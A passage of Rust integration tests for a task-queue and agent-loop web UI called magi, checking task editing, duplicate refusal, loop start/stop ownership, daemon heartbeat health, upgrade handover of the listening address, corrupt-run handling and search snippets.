12268            "{}",
12269            res.body
12270        );
12271        assert_eq!(
12272            queue.get(&task.id).expect("reload").priority,
12273            0,
12274            "the refused write must not partially apply"
12275        );
12276    }
12277
12278    #[tokio::test]
12279    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12280        let f = Fixture::start().await;
12281        let queue = f.queue();
12282        let mut task = Task::new(
12283            "old title".to_owned(),
12284            "old instruction".to_owned(),
12285            PathBuf::from("/repo/magi"),
12286            Source::Agent {
12287                run: "20260101-000000-beef".to_owned(),
12288                node: "implement".to_owned(),
12289            },
12290        );
12291        task.runs.push("20260101-000000-beef".to_owned());
12292        queue.put(&mut task).expect("file the task");
12293        let created_at = task.created_at;
12294
12295        let edited = f
12296            .post(
12297                &format!("/api/queue/{}/edit", task.id),
12298                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12299            )
12300            .await;
12301        assert_eq!(edited.status, 200, "{}", edited.body);
12302        let body = edited.json();
12303        assert_eq!(body["title"], "new title");
12304        assert_eq!(body["instruction"], "new instruction");
12305        assert_eq!(body["id"], task.id, "editing must not mint a new id");
12306        assert_eq!(body["created_at"], created_at.to_string());
12307        assert_eq!(
12308            body["source"]["kind"], "agent",
12309            "editing a task an agent filed must not turn it human: {body}"
12310        );
12311        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12312
12313        let reloaded = queue.get(&task.id).expect("reload");
12314        assert_eq!(reloaded.title, "new title");
12315        assert_eq!(reloaded.instruction, "new instruction");
12316    }
12317
12318    #[tokio::test]
12319    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12320        // The judge is an agent now: a repo whose only agent answers
12321        // "duplicate" stands in for it, so the refusal is the judge's.
12322        let tmp = TempDir::new().expect("tempdir");
12323        let repo = tmp.path().join("repo");
12324        std::fs::create_dir_all(&repo).expect("repo dir");
12325        let judge = MOCK_AGENT_TOML.replace(
12326            "printf ok",
12327            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12328        );
12329        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12330        let f = Fixture::with_repo(repo.clone()).await;
12331        let queue = f.queue();
12332        let mut owner = Task::new(
12333            "owner".to_owned(),
12334            "review it".to_owned(),
12335            repo.clone(),
12336            Source::Human,
12337        );
12338        owner.review_branch = Some("magi/ab12/A".to_owned());
12339        queue.put(&mut owner).expect("file the owner");
12340        let mut task = Task::new(
12341            "draft".to_owned(),
12342            "old".to_owned(),
12343            repo.clone(),
12344            Source::Human,
12345        );
12346        queue.put(&mut task).expect("file the draft");
12347        let url = format!("/api/queue/{}/edit", task.id);
12348
12349        let refused = f
12350            .post(
12351                &url,
12352                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12353            )
12354            .await;
12355        assert_eq!(refused.status, 409, "{}", refused.body);
12356        let msg = refused.json()["error"]
12357            .as_str()
12358            .unwrap_or_default()
12359            .to_owned();
12360        assert!(
12361            msg.contains("magi/ab12/A") && msg.contains("force"),
12362            "{msg}"
12363        );
12364        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12365
12366        let forced = f
12367            .post(
12368                &url,
12369                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12370            )
12371            .await;
12372        assert_eq!(forced.status, 200, "{}", forced.body);
12373    }
12374
12375    #[tokio::test]
12376    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12377        let f = Fixture::start().await;
12378        let queue = f.queue();
12379        let mut task = Task::new(
12380            "in flight".to_owned(),
12381            "do not touch".to_owned(),
12382            PathBuf::from("/repo/magi"),
12383            Source::Human,
12384        );
12385        task.start("20260902-140502-bbbb".to_owned());
12386        queue.put(&mut task).expect("file the task");
12387
12388        let res = f
12389            .post(
12390                &format!("/api/queue/{}/edit", task.id),
12391                Some(r#"{"title":"x","instruction":"y"}"#),
12392            )
12393            .await;
12394        assert_eq!(res.status, 400, "{}", res.body);
12395        assert!(
12396            res.json()["error"]
12397                .as_str()
12398                .is_some_and(|e| e.contains("running")),
12399            "{}",
12400            res.body
12401        );
12402        assert_eq!(
12403            queue.get(&task.id).expect("reload").instruction,
12404            "do not touch",
12405            "the refused edit must not change the file"
12406        );
12407    }
12408
12409    #[tokio::test]
12410    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12411        let f = Fixture::start().await;
12412        let queue = f.queue();
12413        let mut task = Task::new(
12414            "busy".to_owned(),
12415            "Running right now".to_owned(),
12416            PathBuf::from("/repo/magi"),
12417            Source::Human,
12418        );
12419        queue.put(&mut task).expect("file the task");
12420        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12421
12422        let priority = f
12423            .post(
12424                &format!("/api/queue/{}/priority", task.id),
12425                Some(r#"{"priority":9}"#),
12426            )
12427            .await;
12428        assert_eq!(priority.status, 409, "{}", priority.body);
12429
12430        let edit = f
12431            .post(
12432                &format!("/api/queue/{}/edit", task.id),
12433                Some(r#"{"title":"x","instruction":"y"}"#),
12434            )
12435            .await;
12436        assert_eq!(edit.status, 409, "{}", edit.body);
12437    }
12438
12439    #[tokio::test]
12440    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12441        let f = Fixture::start().await;
12442        let queue = f.queue();
12443        let mut task = Task::new(
12444            "shipped by hand".to_owned(),
12445            "merged outside the loop".to_owned(),
12446            PathBuf::from("/repo/magi"),
12447            Source::Agent {
12448                run: "20260101-000000-b455".to_owned(),
12449                node: "implement".to_owned(),
12450            },
12451        );
12452        task.runs.push("20260101-000000-b455".to_owned());
12453        task.runs.push("20260101-000000-9af4".to_owned());
12454        queue.put(&mut task).expect("file the task");
12455        let created_at = task.created_at;
12456
12457        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12458        assert_eq!(done.status, 200, "{}", done.body);
12459        assert_eq!(done.json()["status_str"], "done");
12460
12461        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12462        assert_eq!(
12463            reloaded.runs,
12464            ["20260101-000000-b455", "20260101-000000-9af4"]
12465        );
12466        assert_eq!(
12467            reloaded.source,
12468            Source::Agent {
12469                run: "20260101-000000-b455".to_owned(),
12470                node: "implement".to_owned(),
12471            }
12472        );
12473        assert_eq!(reloaded.created_at, created_at);
12474    }
12475
12476    #[tokio::test]
12477    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12478        // `done` is allowed on any status, including `held`, with no release
12479        // in between - so a task held for a reason and then closed directly
12480        // must not keep reading as "waiting on" it afterwards, on its card or
12481        // in `magi task show`.
12482        let f = Fixture::start().await;
12483        let queue = f.queue();
12484        let mut task = Task::new(
12485            "landed while held".to_owned(),
12486            "x".to_owned(),
12487            PathBuf::from("/repo/magi"),
12488            Source::Human,
12489        );
12490        task.hold_manual(Some("waiting on 3ed9".to_owned()));
12491        queue.put(&mut task).expect("file the held task");
12492
12493        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12494        assert_eq!(done.status, 200, "{}", done.body);
12495        assert_eq!(done.json()["status_str"], "done");
12496        assert!(
12497            done.json()["hold_reason"].is_null(),
12498            "a done task cannot still be waiting on something: {}",
12499            done.body
12500        );
12501    }
12502
12503    #[tokio::test]
12504    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12505        // `queue_done` is the phone's way to close a task the loop never
12506        // settled itself - after confirming a manual GitHub merge, say - and
12507        // that is just as much "this task's story is over" as the loop's own
12508        // `Merged`/`Ready` path, so it must trigger the same cleanup.
12509        let f = Fixture::start().await;
12510        let queue = f.queue();
12511        let runs = f.runs();
12512        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12513        // The last attempt has to have actually landed for the earlier one
12514        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
12515        // for the case where it didn't.
12516        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12517
12518        let mut task = Task::new(
12519            "landed by hand".to_owned(),
12520            "x".to_owned(),
12521            PathBuf::from("/repo/magi"),
12522            Source::Human,
12523        );
12524        task.runs.push("20260101-000000-doa1".to_owned());
12525        task.runs.push("20260101-000000-doa2".to_owned());
12526        queue.put(&mut task).expect("file the task");
12527
12528        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12529        assert_eq!(done.status, 200, "{}", done.body);
12530
12531        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12532            .expect("run still on disk under this fixture's own home");
12533        assert_eq!(
12534            reloaded_run.status,
12535            RunStatus::Superseded,
12536            "closing the task by hand must relabel the earlier blocked attempt exactly \
12537             like the loop's own settle path does"
12538        );
12539    }
12540
12541    #[tokio::test]
12542    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12543        // Closing a task by hand is allowed from any status, including one
12544        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
12545        // manual merge the loop never watched, say. Nothing here is provably
12546        // why the task is done, so nothing earlier gets relabelled either.
12547        let f = Fixture::start().await;
12548        let queue = f.queue();
12549        let runs = f.runs();
12550        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12551        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12552
12553        let mut task = Task::new(
12554            "closed with nothing actually landed".to_owned(),
12555            "x".to_owned(),
12556            PathBuf::from("/repo/magi"),
12557            Source::Human,
12558        );
12559        task.runs.push("20260101-000000-dob1".to_owned());
12560        task.runs.push("20260101-000000-dob2".to_owned());
12561        queue.put(&mut task).expect("file the task");
12562
12563        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12564        assert_eq!(done.status, 200, "{}", done.body);
12565
12566        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12567            .expect("run still on disk under this fixture's own home");
12568        assert_eq!(
12569            reloaded_run.status,
12570            RunStatus::Blocked,
12571            "the last recorded attempt never landed, so the earlier one must not be \
12572             relabelled as superseded by it"
12573        );
12574    }
12575
12576    #[tokio::test]
12577    async fn unknown_ids_are_json_not_found_on_both_stores() {
12578        let f = Fixture::start().await;
12579
12580        let run = f.get("/api/runs/nosuchrun").await;
12581        let task = f.post("/api/queue/nosuchtask/hold", None).await;
12582
12583        assert_eq!(run.status, 404);
12584        assert_eq!(task.status, 404);
12585        assert!(
12586            run.json()["error"]
12587                .as_str()
12588                .is_some_and(|e| e.contains("run")),
12589            "the error names what was not found: {}",
12590            run.body
12591        );
12592        assert!(
12593            task.json()["error"]
12594                .as_str()
12595                .is_some_and(|e| e.contains("task")),
12596            "the error names what was not found: {}",
12597            task.body
12598        );
12599    }
12600
12601    #[tokio::test]
12602    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12603        let f = Fixture::start().await;
12604
12605        let missing = f.get("/api/health").await.json();
12606        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12607
12608        write_daemon(
12609            f.home.path(),
12610            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12611        );
12612        let stale = f.get("/api/health").await.json();
12613        assert_eq!(
12614            stale["daemon"]["running"], false,
12615            "a minute without a heartbeat is a dead daemon, not a busy one"
12616        );
12617        assert!(
12618            stale["daemon"]["stale_for_secs"]
12619                .as_i64()
12620                .is_some_and(|s| s >= 55),
12621            "staleness is reported so the UI can say how long: {stale}"
12622        );
12623
12624        write_daemon(f.home.path(), Timestamp::now());
12625        let fresh = f.get("/api/health").await.json();
12626        assert_eq!(fresh["daemon"]["running"], true);
12627        assert_eq!(fresh["daemon"]["idle"], false);
12628        assert_eq!(fresh["daemon"]["pid"], 4242);
12629        assert_eq!(fresh["daemon"]["completed"], 7);
12630        assert_eq!(
12631            fresh["daemon"]["current"][0]["task"],
12632            "20260902-140501-aaaa"
12633        );
12634        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12635    }
12636
12637    #[tokio::test]
12638    async fn the_loop_is_not_running_until_something_starts_it() {
12639        let f = Fixture::start().await;
12640
12641        let view = f.get("/api/loop").await.json();
12642        assert_eq!(view["running"], false);
12643        assert_eq!(
12644            view["owned"], false,
12645            "nobody owns a loop that does not exist: {view}"
12646        );
12647        assert_eq!(view["stopping"], false);
12648        assert_eq!(view["last_error"], Value::Null);
12649        assert_eq!(view["daemon"]["running"], false);
12650        assert_eq!(
12651            view["repo"], "/repo/magi",
12652            "the repository a start would use, named before it is started"
12653        );
12654    }
12655
12656    #[tokio::test]
12657    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12658        let f = Fixture::start().await;
12659
12660        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12661        assert_eq!(res.status, 200, "{}", res.body);
12662        let view = res.json();
12663        assert_eq!(view["running"], true);
12664        assert_eq!(
12665            view["owned"], true,
12666            "the loop the UI started is the UI's own to stop: {view}"
12667        );
12668        assert_eq!(
12669            view["merge"],
12670            Value::Null,
12671            "no override was given, so each repository's own config decides"
12672        );
12673
12674        // The same object from the route a waking phone polls first. Two
12675        // surfaces disagreeing about whether anything is running is exactly
12676        // the confusion this UI exists to remove.
12677        let health = f.get("/api/health").await.json();
12678        assert_eq!(health["loop"]["running"], true, "{health}");
12679        assert_eq!(health["loop"]["owned"], true, "{health}");
12680
12681        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12682    }
12683
12684    #[tokio::test]
12685    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12686        let f = Fixture::start().await;
12687        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12688        assert_eq!(first.status, 200, "{}", first.body);
12689
12690        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12691        assert_eq!(
12692            again.status, 409,
12693            "two loops on one queue race for the same claims: {}",
12694            again.body
12695        );
12696        assert!(
12697            again.json()["error"]
12698                .as_str()
12699                .is_some_and(|e| e.contains("already running the loop")),
12700            "the refusal has to say why: {}",
12701            again.body
12702        );
12703        assert_eq!(
12704            f.get("/api/loop").await.json()["running"],
12705            true,
12706            "and the loop that was already running is untouched by it"
12707        );
12708
12709        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12710    }
12711
12712    #[tokio::test]
12713    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12714        let f = Fixture::start().await;
12715        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12716
12717        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12718        assert_eq!(
12719            res.status, 200,
12720            "the answer must not wait for the loop: a run in flight is tens of \
12721             minutes and the operator is holding a phone: {}",
12722            res.body
12723        );
12724
12725        let view = settled(&f, |v| v["running"] == false).await;
12726        assert_eq!(view["owned"], false);
12727        assert_eq!(
12728            view["stopping"], false,
12729            "a loop that has stopped is not still stopping: {view}"
12730        );
12731        assert_eq!(
12732            view["last_error"],
12733            Value::Null,
12734            "a loop that was asked to stop did not fail: {view}"
12735        );
12736
12737        // Idempotent, because the operator cannot tell a slow stop from a lost
12738        // one and will press it again.
12739        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12740        assert_eq!(twice.status, 200, "{}", twice.body);
12741    }
12742
12743    #[tokio::test]
12744    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12745        let f = Fixture::start().await;
12746        // How the operator has been doing it: a `magi serve` of their own,
12747        // heartbeat fresh, in the same home this UI reads.
12748        write_daemon(f.home.path(), Timestamp::now());
12749
12750        let view = f.get("/api/loop").await.json();
12751        assert_eq!(view["running"], false, "not in this process: {view}");
12752        assert_eq!(view["owned"], false, "and not this process's to control");
12753        assert_eq!(
12754            view["daemon"]["running"], true,
12755            "but a loop is alive somewhere, which is what the UI must say"
12756        );
12757        assert_eq!(view["daemon"]["pid"], 4242);
12758
12759        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12760            let res = f.post("/api/loop", Some(body)).await;
12761            assert_eq!(
12762                res.status, 409,
12763                "neither button may pretend to work on someone else's loop: {}",
12764                res.body
12765            );
12766            assert!(
12767                res.json()["error"]
12768                    .as_str()
12769                    .is_some_and(|e| e.contains("4242")),
12770                "the refusal has to name the process the operator must go to: {}",
12771                res.body
12772            );
12773        }
12774        assert_eq!(
12775            f.get("/api/loop").await.json()["running"],
12776            false,
12777            "and the refusal started nothing"
12778        );
12779    }
12780
12781    #[tokio::test]
12782    async fn a_stale_status_file_is_not_a_foreign_owner() {
12783        let f = Fixture::start().await;
12784        write_daemon(
12785            f.home.path(),
12786            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12787        );
12788
12789        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12790        assert_eq!(
12791            res.status, 200,
12792            "a daemon killed a minute ago must not lock the loop out of its \
12793             own home for good: {}",
12794            res.body
12795        );
12796        assert_eq!(res.json()["running"], true);
12797
12798        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12799    }
12800
12801    #[tokio::test]
12802    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12803        let f = Fixture::start().await;
12804        let before = f.get("/api/health").await.json()["loop_rev"]
12805            .as_u64()
12806            .expect("a loop revision");
12807
12808        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12809
12810        let after = f.get("/api/health").await.json()["loop_rev"]
12811            .as_u64()
12812            .expect("a loop revision");
12813        assert!(
12814            after > before,
12815            "the loop is in-process state, so this counter is the only thing \
12816             that tells a second device the first one started it: {before} -> \
12817             {after}"
12818        );
12819
12820        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12821    }
12822
12823    #[tokio::test]
12824    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12825        let f = Fixture::with_loop(launch_broken).await;
12826
12827        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12828        assert_eq!(
12829            res.status, 200,
12830            "starting it is not the failure: {}",
12831            res.body
12832        );
12833
12834        let view = settled(&f, |v| v["last_error"].is_string()).await;
12835        assert_eq!(
12836            view["running"], false,
12837            "a loop that died must not read as running, or the operator has \
12838             nothing to press: {view}"
12839        );
12840        assert_eq!(view["owned"], false);
12841        assert!(
12842            view["last_error"]
12843                .as_str()
12844                .is_some_and(|e| e.contains("read-only file system")),
12845            "the phone is where a loop that died at 3am is visible: {view}"
12846        );
12847
12848        // And it can be started again: the corpse was reaped, not left to
12849        // occupy the slot.
12850        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12851        assert_eq!(again.status, 200, "{}", again.body);
12852        assert!(
12853            again.json()["last_error"]
12854                .as_str()
12855                .is_none_or(|e| !e.contains("read-only file system")),
12856            "a fresh start does not keep showing why the last one died: {}",
12857            again.body
12858        );
12859    }
12860
12861    /// An upgrade parks the run in flight before it restarts, and a park waits
12862    /// for the node - up to `timeout_implement`, an hour by default. The deck
12863    /// has to answer for all of it: the operator has just been told a run is
12864    /// finishing first, and this address is the only place that says how it is
12865    /// going. It did not, once - the listener went with the `select!` arm that
12866    /// began the handover, and the phone got `Cannot reach magi: Failed to
12867    /// fetch` for the rest of the wave.
12868    ///
12869    /// The other half is the older rule: the address must be free *before* the
12870    /// successor is started, or it dies on "address already in use" with its
12871    /// stdio sent to null and the deck never comes back.
12872    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12873    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12874        let home = TempDir::new().expect("temp home");
12875        let runs = home.path().join("runs");
12876        std::fs::create_dir_all(&runs).expect("runs dir");
12877        let ui = Ui::new(
12878            Queue::at(home.path().join("queue")),
12879            Questions::at(home.path().join("questions")),
12880            Talks::at(home.path().join("talks")),
12881            runs,
12882            home.path().to_path_buf(),
12883            PathBuf::from("/repo/magi"),
12884        )
12885        .with_worktrees_root(home.path().join("wt"))
12886        .with_launch(launch_knocking_on_the_way_out);
12887        let looping = ui.looping();
12888        let turns = ui.turns();
12889        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12890            .await
12891            .expect("bind loopback");
12892        let addr = listener.local_addr().expect("local addr");
12893        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12894        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12895
12896        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12897        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12898
12899        // The successor's whole job, and the one thing it cannot do while this
12900        // process still holds the socket.
12901        //
12902        // One bind is not enough, and the reason is not this process's order of
12903        // operations: aborting the accept loop drops the listener, but axum
12904        // serves each accepted connection on a task of its own, and those are
12905        // not aborted. The requests above left sockets on this very address,
12906        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
12907        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
12908        // Production absorbs that in `bind_waiting`; so does this. Only
12909        // `AddrInUse` is retried, and the listener is released before the
12910        // closure returns - were the order wrong, the listener would outlive
12911        // the closure and every attempt would fail. Inferred from the bind
12912        // rules and the code; not reproduced on macOS.
12913        let bound = std::sync::Mutex::new(None);
12914        hand_over(
12915            home.path(),
12916            &looping,
12917            &turns,
12918            &|_: &[String]| Duration::from_secs(5),
12919            served,
12920            |_| {
12921                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12922                let attempt = loop {
12923                    match std::net::TcpListener::bind(addr) {
12924                        Ok(l) => {
12925                            drop(l);
12926                            break Ok(());
12927                        }
12928                        Err(e)
12929                            if e.kind() == std::io::ErrorKind::AddrInUse
12930                                && std::time::Instant::now() < deadline =>
12931                        {
12932                            std::thread::sleep(std::time::Duration::from_millis(10));
12933                        }
12934                        Err(e) => break Err(e.to_string()),
12935                    }
12936                };
12937                *bound.lock().expect("bound") = Some(attempt);
12938                Ok(1)
12939            },
12940        )
12941        .await
12942        .expect("hand over");
12943
12944        assert_eq!(
12945            *PARK_HEARD.lock().expect("park heard"),
12946            Some(200),
12947            "the deck must answer while the loop is parking"
12948        );
12949        let attempt = bound
12950            .lock()
12951            .expect("bound")
12952            .take()
12953            .expect("the successor was started");
12954        assert!(
12955            attempt.is_ok(),
12956            "and the address must be free by the time it is: {attempt:?}"
12957        );
12958    }
12959
12960    #[tokio::test]
12961    async fn a_newer_daemon_status_file_still_renders() {
12962        let f = Fixture::start().await;
12963        // A field this build has never heard of must not turn the status line
12964        // into a 500; that is the whole reason the reader is permissive.
12965        std::fs::write(
12966            f.home.path().join("daemon.json"),
12967            serde_json::json!({
12968                "schema": 2,
12969                "updated_at": Timestamp::now().to_string(),
12970                "idle": true,
12971                "surprise": { "nested": [1, 2, 3] },
12972            })
12973            .to_string(),
12974        )
12975        .expect("write daemon.json");
12976
12977        let health = f.get("/api/health").await;
12978
12979        assert_eq!(health.status, 200);
12980        assert_eq!(health.json()["daemon"]["running"], true);
12981    }
12982
12983    #[tokio::test]
12984    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12985        let f = Fixture::start().await;
12986        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12987        let broken = f.runs().join("20260902-140502-bad");
12988        std::fs::create_dir_all(&broken).expect("run dir");
12989        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12990
12991        let list = f.get("/api/runs").await;
12992        let detail = f.get("/api/runs/20260902-140502-bad").await;
12993
12994        assert_eq!(list.status, 200);
12995        let listed = list.json();
12996        let ids: Vec<&str> = listed
12997            .as_array()
12998            .expect("an array")
12999            .iter()
13000            .map(|r| r["id"].as_str().expect("an id"))
13001            .collect();
13002        assert_eq!(
13003            ids,
13004            vec!["20260902-140501-good"],
13005            "one unreadable run must not cost the operator the whole history"
13006        );
13007        assert_eq!(detail.status, 500);
13008        assert!(
13009            detail.json()["error"]
13010                .as_str()
13011                .is_some_and(|e| e.contains("run.json")),
13012            "the failure names the file to look at: {}",
13013            detail.body
13014        );
13015        // A skipped run has to be countable somewhere, or the UI shows an
13016        // empty history with nothing to explain it - which is exactly what a
13017        // directory full of older-schema runs looks like.
13018        let health = f.get("/api/health").await;
13019        assert_eq!(health.json()["runs_unreadable"], 1);
13020    }
13021
13022    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
13023    #[tokio::test]
13024    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13025        let f = Fixture::start().await;
13026        let runs = f.runs();
13027        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13028        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13029        // Text three levels down, in a shape no current RunState has: an older
13030        // schema must still search.
13031        let path = runs.join("20260902-140502-bbbb").join("run.json");
13032        let mut v: serde_json::Value =
13033            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13034        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13035        std::fs::write(&path, v.to_string()).unwrap();
13036        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13037        std::fs::write(
13038            runs.join("20260902-140503-cccc").join("run.json"),
13039            "{ not json",
13040        )
13041        .unwrap();
13042
13043        let res = f.get("/api/search?scope=runs&q=quokka").await;
13044        assert_eq!(res.status, 200, "{}", res.body);
13045        let v = res.json();
13046        assert_eq!(v["total"], 1, "{v}");
13047        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13048        assert_eq!(v["hits"][0]["field"], "text");
13049        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13050        let parts = v["hits"][0]["snippet"].as_array().unwrap();
13051        assert!(
13052            parts
13053                .iter()
13054                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13055            "{v}"
13056        );
13057        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13058        assert_eq!(
13059            flat, "The Quokka leaks across threads",
13060            "whitespace is collapsed"
13061        );
13062
13063        // Terms are ANDed, across different fields, case-insensitively.
13064        let both = f
13065            .get("/api/search?scope=runs&q=MOBILE%20quokka")
13066            .await
13067            .json();
13068        assert_eq!(both["total"], 1, "{both}");
13069        let neither = f
13070            .get("/api/search?scope=runs&q=quokka%20zebra")
13071            .await
13072            .json();
13073        assert_eq!(neither["total"], 0, "{neither}");
13074        // Everything in the task statement is reachable, not only the row text.
13075        let stmt = f
13076            .get("/api/search?scope=runs&q=mobile%20first")
13077            .await
13078            .json();
13079        assert_eq!(stmt["total"], 2, "{stmt}");
13080        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13081        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13082    }
13083
13084    #[test]
13085    fn snippet_ignores_terms_longer_than_the_field() {
13086        let terms = ["ok".to_owned(), "elephant".to_owned()];
13087        let parts = snippet_of("ok", &terms);
13088        assert_eq!(
13089            parts,
13090            vec![SnippetPart {
13091                text: "ok".to_owned(),
13092                hit: true
13093            }]
13094        );
13095    }
13096
13097    #[test]
13098    fn snippet_marks_matches_longer_than_the_window() {
13099        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13100        let hit_len = |parts: &[SnippetPart]| -> usize {
13101            parts
13102                .iter()
13103                .filter(|p| p.hit)
13104                .map(|p| p.text.chars().count())
13105                .sum()
13106        };
13107        let total =
13108            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13109
13110        let long = "a".repeat(120);
13111        let parts = snippet_of(&long, std::slice::from_ref(&long));
13112        assert!(hit_len(&parts) > 0, "{parts:?}");
13113        assert!(total(&parts) <= cap);
13114
13115        let ja = "あ".repeat(130);
13116        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13117        assert!(hit_len(&parts) > 0, "{parts:?}");
13118        assert!(total(&parts) <= cap);
13119
13120        // A short hit, then one straddling the window's end.
13121        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13122        let term = format!("ab{}", "c".repeat(100));
13123        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13124        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13125        assert!(total(&parts) <= cap);
13126
13127        // Only the head matches: not highlighted.
13128        let text = format!("{}z", "a".repeat(119));
13129        let parts = snippet_of(&text, &["a".repeat(120)]);
13130        assert_eq!(hit_len(&parts), 0, "{parts:?}");
13131    }
13132
13133    #[tokio::test]
13134    async fn search_caps_hits_and_snippet_length() {
13135        let f = Fixture::start().await;
13136        let runs = f.runs();
13137        for n in 0..(SEARCH_MAX_HITS + 5) {
13138            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13139        }
13140        let v = f.get("/api/search?scope=runs&q=web").await.json();
13141        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13142        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13143        assert_eq!(v["truncated"], true);
13144        // Every listed run hit carries its list row for the page's filters.
13145        assert!(
13146            v["hits"]
13147                .as_array()
13148                .unwrap()
13149                .iter()
13150                .all(|h| h["run"]["status"] == "merged")
13151        );
13152
13153        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13154        let parts = snippet_of(&long, &["needle".to_owned()]);
13155        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13156        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13157        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13158    }
13159
13160    #[tokio::test]
13161    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13162        let f = Fixture::start().await;
13163        let queue = f.queue();
13164        let mut t = Task::new(
13165            "short title".to_owned(),
13166            "line one\nthe hidden Armadillo detail".to_owned(),
13167            PathBuf::from("/repo/magi"),
13168            Source::Agent {
13169                run: "r1".to_owned(),
13170                node: "chat".to_owned(),
13171            },
13172        );
13173        t.last_error = Some("disk full on /tmp".to_owned());
13174        queue.put(&mut t).expect("file the task");
13175
13176        for (q, want) in [
13177            ("armadillo", 1),
13178            ("disk%20FULL", 1),
